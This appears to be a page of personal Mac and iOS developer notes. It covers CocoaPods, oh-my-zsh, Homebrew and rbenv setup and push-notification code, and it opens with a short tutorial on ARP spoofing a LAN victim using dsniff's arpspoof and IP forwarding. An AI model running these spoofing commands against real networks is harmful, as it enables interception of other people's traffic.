Mac OS X ARP Spoofing

It`s a Man in the Middle Attack in WLAN or LAN uring ARP Spoofing.

Step 1.
$ Install macport

Step 2.
$ sudo port selfupdate

Stop 3.
$ sudo port install dsniff-devel   (or dsniff)

Step 4.
And find victim ip
$ arp -a

Step 5.
Open net forwarding,it will forward packets which recive to Internet Connection.
$ sudo sysctl -w net.inet.ip.forwarding=1
$ sudo sysctl -w net.inet.ip.fw.enable=1

Step 6.
Arpspoof Router
$ sudo arpspoof -i Yourineterface -t victim_ip router_ip
$ sudo arpspoof -i Yourineterface -t router_ip victim_ip

Example.
$ sudo arpspoof -i en0 -t 192.168.1.100 192.168.1.1
$ sudo arpspoof -i en0 -t 192.168.1.1 192.168.1.100

it`s done!!
Stop the Attack,using Ctrl+C in the terminal.

Ios Xcode Plugins CocoaPods

Install Cocoapods
$ sudo gem install cocoapods

Open New Xcode Project
$ cd project_folder
$ vi Podfile

Insert Podfile
platform :ios, '8.0'
pod 'JSONKit'

$ pod install
$ open Project.xcworkspace

Import example:
#import <JSONKit.h>

OS X Install oh-my-zsh

Install zsh
$ brew install zsh

Set shell
$ chsh -s /usr/local/bin/zsh

Install oh-my-zsh
$ git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh

Set oh-my-zsh
$ cp ~/.oh-my-zsh/templates/zshrc.zsh-tmplate ~/.zshrc
$ cat ~/.bash_profile >> ~/.zshrc

Install zsh-completions
$ brew install zsh-completions

Set zsh-completions

echo 'if [ -d ${HOME}/.zsh/zsh-completions/src ] ; then' >> ~/.zshrc

echo '   fpath=(${HOME}/.zsh/zsh-completions/src $fpath)' >> ~/.zshrc

echo '   compinit' >> ~/.zshrc

echo fi >> ~/.zshrc

Mac OSX Set shell Preference
shell->Preference->Shells open with->Command(complete path)
/bin/zsh -i

Open zsh

Rebuild zsh
$ rm -f ~/.zcompdump; compinit

OSX Install Homebrew & Rbenv & Cocoapods

Step 1.
Install Homebrew

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Step 2.

Install Rbenv

$ brew install rbenv

$ brew install ruby-build

Set shell Environment

$ sudo echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> /Users/Username/.bash_profile

$ echo 'eval "$(rbenv init -)"' >> /Users/Username/.bash_profile

Reload

$ source /Users/Username/.bash_profile 

Rbenv install plugin

$ mkdir -p ~/.rbenv/plugins 

$ git clone git://github.com/tpope/rbenv-aliases.git ~/.rbenv/plugins/rbenv-aliases

$ rbenv alisa 

Install Ruby

List Ruby version 

$ rbenv install --list

$ rbenv install 2.1.3

List Installed Ruby Version

$ rbenv versions

$ rbenv global 2.1.3

Step 3.

Install Cocoapods

$ sudo gem install cocoapods

iOS Push Notifition Note

For Debug

-(void)application:(UIApplication *)application didFailToRegisterForRemoteNotificationsWithError:(NSError *)error{

    NSLog(@"%@",error);

}

For Receiver

- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo {

}

For Receiver By Launching

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions

{

NSDictionary* userInfo =

    [launchOptions objectForKey:UIApplicationLaunchOptionsRemoteNotificationKey];

    if (userInfo) {

         

     }

}

For Register to Server

- (void)application:(UIApplication *)application didRegisterForRemoteNotificationsWithDeviceToken:(NSData *)deviceToken {

 NSString *deviceTokenString = [NSString stringWithFormat:@"%@", deviceToken];

    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@"<" withString:@""];

    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@">" withString:@""];

    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@" " withString:@""];

//Resgister to Server

}

//Set Notification

if ([[[UIDevice currentDevice] systemVersion] floatValue] >= 8.0)

{

    [[UIApplication sharedApplication] registerUserNotificationSettings:[UIUserNotificationSettings 

     settingsForTypes:(UIUserNotificationTypeSound | UIUserNotificationTypeAlert | UIUserNotificationTypeBadge)      

categories:nil]];

    [[UIApplication sharedApplication] registerForRemoteNotifications];

}

else

{

    [[UIApplication sharedApplication] registerForRemoteNotificationTypes:

     (UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert)];

}

判斷 APP 是否有在背景運作

if([[UIApplication sharedApplication] applicationState] != UIApplicationStateBackground) {

  // Do stuff  

}

The Notificaion Payload Block

{

   "aps": {

        "alert": "Hello World.",

        "badge": 9,

        "sound": "default"

    },

    "custom_key": "custom_value"

}

iOS 8 Simulator NSUserDefaults Path

[NSUserDefaults standardUserDefaults]

Plist Path

~/Library/Developer/CoreSimulator/Devices/<Unique Simulator ID>/data/Library/Preferences